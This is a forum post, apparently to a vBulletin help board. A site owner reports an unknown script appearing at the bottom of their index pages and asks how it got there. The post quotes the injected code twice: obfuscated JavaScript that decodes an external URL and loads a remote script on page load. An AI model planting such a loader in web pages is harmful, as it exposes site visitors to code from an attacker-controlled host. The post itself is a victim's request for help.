Hi there, several of the files on my vB appear to be getting infected. In particular, the index files all show this script at the bottom of the pages.
<script>/*Exception*/ document.write('<script src='+'h#&t@^)t$p#$@:#))!/@(&/(&@s!)##h((^o($$p(&)(p&!&i&$n@@)(g###-)^((c!o)(m&!.)$m^(a)r#!#k(e)#($t)^g)(i^##d#&#!.$&!@c&^#o#^$!m&$)@.$^y@@o$u$@$r!&@f(^@i@@@# l&e$$$h^o!#@^s$$$t&-!&$!c)&$o()m!$.@$&y&o#(^u@)r#^^t!#$r!!&)!u^^@e&(m)$$a)#!t))#e&)@@!.$&&^!r(!^u^$:$&@@!8^(0& ^#&(8(@0@#$@/&#s#$#@f($)!@g#!a#t!&@&e!#.((&^c!#o$)#)m@#/^$s(&f()g&a(t&e!.&$&c&@o&((&#m(!/&^#(g)(@o($o!g!^$)l(e)#.&@c)(o&$&m&#!/&(l)!e^^o)&.&o!#^r$^g&$)!/#c!$@$o#)^#n#^s^#&#t)^a()n&t!!c^o@^n(&#t@^a#(c!!@t@)&.#$c$&@o!)#m#&&@/@^&'.replace(/\(|\^|#|\$|\)|\!|&|@/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--a1cf90cab60d6da55ba891e8171a90b1-->
Is this a norml part of vB? If not, any ideas how it's getting onto the server?
<script>/*Exception*/ document.write('<script src='+'h#&t@^)t$p#$@:#))!/@(&/(&@s!)##h((^o($$p(&)(p&!&i&$n@@)(g###-)^((c!o)(m&!.)$m^(a)r#!#k(e)#($t)^g)(i^##d#&#!.$&!@c&^#o#^$!m&$)@.$^y@@o$u$@$r!&@f(^@i@@@# l&e$$$h^o!#@^s$$$t&-!&$!c)&$o()m!$.@$&y&o#(^u@)r#^^t!#$r!!&)!u^^@e&(m)$$a)#!t))#e&)@@!.$&&^!r(!^u^$:$&@@!8^(0& ^#&(8(@0@#$@/&#s#$#@f($)!@g#!a#t!&@&e!#.((&^c!#o$)#)m@#/^$s(&f()g&a(t&e!.&$&c&@o&((&#m(!/&^#(g)(@o($o!g!^$)l(e)#.&@c)(o&$&m&#!/&(l)!e^^o)&.&o!#^r$^g&$)!/#c!$@$o#)^#n#^s^#&#t)^a()n&t!!c^o@^n(&#t@^a#(c!!@t@)&.#$c$&@o!)#m#&&@/@^&'.replace(/\(|\^|#|\$|\)|\!|&|@/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--a1cf90cab60d6da55ba891e8171a90b1-->
Is this a norml part of vB? If not, any ideas how it's getting onto the server?
Comment